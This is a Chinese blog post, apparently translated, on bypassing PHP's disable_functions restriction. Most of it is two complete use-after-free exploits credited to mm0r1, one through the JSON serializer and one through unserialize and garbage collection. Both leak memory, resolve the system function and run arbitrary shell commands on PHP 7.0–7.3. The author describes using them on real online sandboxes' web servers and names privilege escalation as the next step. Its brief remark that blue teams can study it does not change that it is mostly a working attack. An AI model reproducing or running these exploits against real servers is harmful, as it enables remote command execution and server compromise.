通过JSON序列化器绕过PHP中的disable_functions

  • A+
所属分类:代码审计

译:

您曾经是否使用过一些在线PHP沙箱或碰到了CTF,可以上传WebShell但不能使用比如system,passthru,shell_exec等功能,

是的,在大多数情况下,将显示如下警告:

通过JSON序列化器绕过PHP中的disable_functions


这是由于使用指令disable_functions引起的。您可以通过在文件php.ini中进行设置来禁用任何功能(危险功能)。例如,许多站点的配置如下:

通过JSON序列化器绕过PHP中的disable_functions


那么,我该如何绕过它呢?感谢mm0r1通过使用JSON序列化器的使用后释放错误,分享了一个出色的漏洞利用来绕过PHP 7.x中的disable_functions 。该漏洞利用所有PHP版本7.1.x,7.2.19之前的7.2.x和7.3.6之前的7.3.x都能成功。 使用mm0r1的漏洞,我可以轻松地使用上述PHP版本在在线PHP沙箱中执行任何命令。我发现许多站点都没有使用docker,因此我可以真正使用Web服务器:

通过JSON序列化器绕过PHP中的disable_functions


下一步只是提升权限!


exploit:

<?php$cmd = "id";$n_alloc = 10; # increase this value if you get segfaultsclass MySplFixedArray extends SplFixedArray {    public static $leak;}class Z implements JsonSerializable {    public function write(&$str, $p, $v, $n = 8) {      $i = 0;      for($i = 0; $i < $n; $i++) {        $str[$p + $i] = chr($v & 0xff);        $v >>= 8;      }    }    public function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    public function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }    # unable to leak ro segments    public function leak1($addr) {        global $spl1;        $this->write($this->abc, 8, $addr - 0x10);        return strlen(get_class($spl1));    }    # the real deal    public function leak2($addr, $p = 0, $s = 8) {        global $spl1, $fake_tbl_off;        # fake reference zval        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)        $leak = strlen($spl1::$leak);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    public function parse_elf($base) {        $e_type = $this->leak2($base, 0x10, 2);        $e_phoff = $this->leak2($base, 0x20);        $e_phentsize = $this->leak2($base, 0x36, 2);        $e_phnum = $this->leak2($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = $this->leak2($header, 0, 4);            $p_flags = $this->leak2($header, 4, 4);            $p_vaddr = $this->leak2($header, 0x10);            $p_memsz = $this->leak2($header, 0x28);            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    public function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = $this->leak2($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $text_size) {                $deref = $this->leak2($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = $this->leak2($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $text_size) {                $deref = $this->leak2($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    public function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = $this->leak2($addr, 0, 7);            if($leak == 0x10102464c457f) { # ELF header                return $addr;            }        }    }    public function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = $this->leak2($addr);            $f_name = $this->leak2($f_entry, 0, 6);            if($f_name == 0x6d6574737973) { # system                return $this->leak2($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    public function jsonSerialize() {        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;        $contiguous = [];        for($i = 0; $i < $n_alloc; $i++)            $contiguous[] = new DateInterval('PT1S');        $room = [];        for($i = 0; $i < $n_alloc; $i++)            $room[] = new Z();        $_protector = $this->ptr2str(0, 78);        $this->abc = $this->ptr2str(0, 79);        $p = new DateInterval('PT1S');        unset($y[0]);        unset($p);        $protector = ".$_protector";        $x = new DateInterval('PT1S');        $x->d = 0x2000;        $x->h = 0xdeadbeef;        # $this->abc is now of size 0x2000        if($this->str2ptr($this->abc) != 0xdeadbeef) {            die('UAF failed.');        }        $spl1 = new MySplFixedArray();        $spl2 = new MySplFixedArray();        # some leaks        $class_entry = $this->str2ptr($this->abc, 0x120);        $handlers = $this->str2ptr($this->abc, 0x128);        $php_heap = $this->str2ptr($this->abc, 0x1a8);        $abc_addr = $php_heap - 0x218;        # create a fake class_entry        $fake_obj = $abc_addr;        $this->write($this->abc, 0, 2); # type        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry        # copy some of class_entry definition        for($i = 0; $i < 16; $i++) {            $this->write($this->abc, 0x10 + $i * 8,                 $this->leak1($class_entry + 0x10 + $i * 8));        }        # fake static members table        $fake_tbl_off = 0x70 * 4 - 16;        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);        # fake zval_reference        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)        # look for binary base        $binary_leak = $this->leak2($handlers + 0x10);        if(!($base = $this->get_binary_base($binary_leak))) {            die("Couldn't determine binary base address");        }        # parse elf header        if(!($elf = $this->parse_elf($base))) {            die("Couldn't parse ELF");        }        # get basic_functions address        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {            die("Couldn't get basic_functions address");        }        # find system entry        if(!($zif_system = $this->get_system($basic_funcs))) {            die("Couldn't get zif_system address");        }                # copy hashtable offsetGet bucket        $fake_bkt_off = 0x70 * 5 - 16;        $function_data = $this->str2ptr($this->abc, 0x50);        for($i = 0; $i < 4; $i++) {            $this->write($this->abc, $fake_bkt_off + $i * 8,                 $this->leak2($function_data + 0x40 * 4, $i * 8));        }        # create a fake bucket        $fake_bkt_addr = $abc_addr + $fake_bkt_off;        $this->write($this->abc, 0x50, $fake_bkt_addr);        for($i = 0; $i < 3; $i++) {            $this->write($this->abc, 0x58 + $i * 4, 1, 4);        }        # copy bucket zval        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);        for($i = 0; $i < 12; $i++) {            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8,                 $this->leak2($function_zval, $i * 8));        }        # pwn        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);        $spl1->offsetGet($cmd);        exit();    }}$y = [new Z()];json_encode([&$y]);


PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=72530## This exploit should work on all PHP 7.0-7.3 versions# released as of 04/10/2019, specifically:# # PHP 7.0 - 7.0.33# PHP 7.1 - 7.1.31# PHP 7.2 - 7.2.23# PHP 7.3 - 7.3.10## Author: https://github.com/mm0r1pwn("uname -a");function pwn($cmd) {    global $abc, $helper;    function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {        $i = 0;        for($i = 0; $i < $n; $i++) {            $str[$p + $i] = chr($v & 0xff);            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {        $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $text_size) {                $deref = leak($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $text_size) {                $deref = leak($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) { # ELF header                return $addr;            }        }    }    function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) { # system                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    class ryat {        var $ryat;        var $chtg;                function __destruct(){            $this->chtg = $this->ryat;            $this->ryat = 1;        }    }    class Helper {        public $a, $b, $c, $d;    }    if(stristr(PHP_OS, 'WIN')) {        die('This PoC is for *nix systems only.');    }    $n_alloc = 10; # increase this value if you get segfaults    $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_repeat('A', 79);    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';    $out = unserialize($poc);    gc_collect_cycles();    $v = [];    $v[0] = ptr2str(0, 79);    unset($v);    $abc = $out[2][0];    $helper = new Helper;    $helper->b = function ($x) { };    if(strlen($abc) == 79 || strlen($abc) == 0) {        die("UAF failed");    }    # leaks    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    # fake value    write($abc, 0x60, 2);    write($abc, 0x70, 6);    # fake reference    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {        die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {        die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {        die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {        die("Couldn't get zif_system address");    }    # fake closure object    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    # pwn    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4); # internal func type    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler    ($helper->b)($cmd);    exit();}


我认为此漏洞也将在APT攻击中用作WebShell ,因此,如果您是一支蓝色团队,则应仔细研究并准备对其进行处理。


Ref

  • https://www.sudokaikan.com/2019/10/bypass-disablefunctions-in-php-by-json.html

  • https://github.com/mm0r1/exploits/

  • https://bugs.php.net/bug.php?id=77843



通过JSON序列化器绕过PHP中的disable_functions

以上临时工所述
我司一概不负责

本文始发于微信公众号(逢人斗智斗勇):通过JSON序列化器绕过PHP中的disable_functions

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: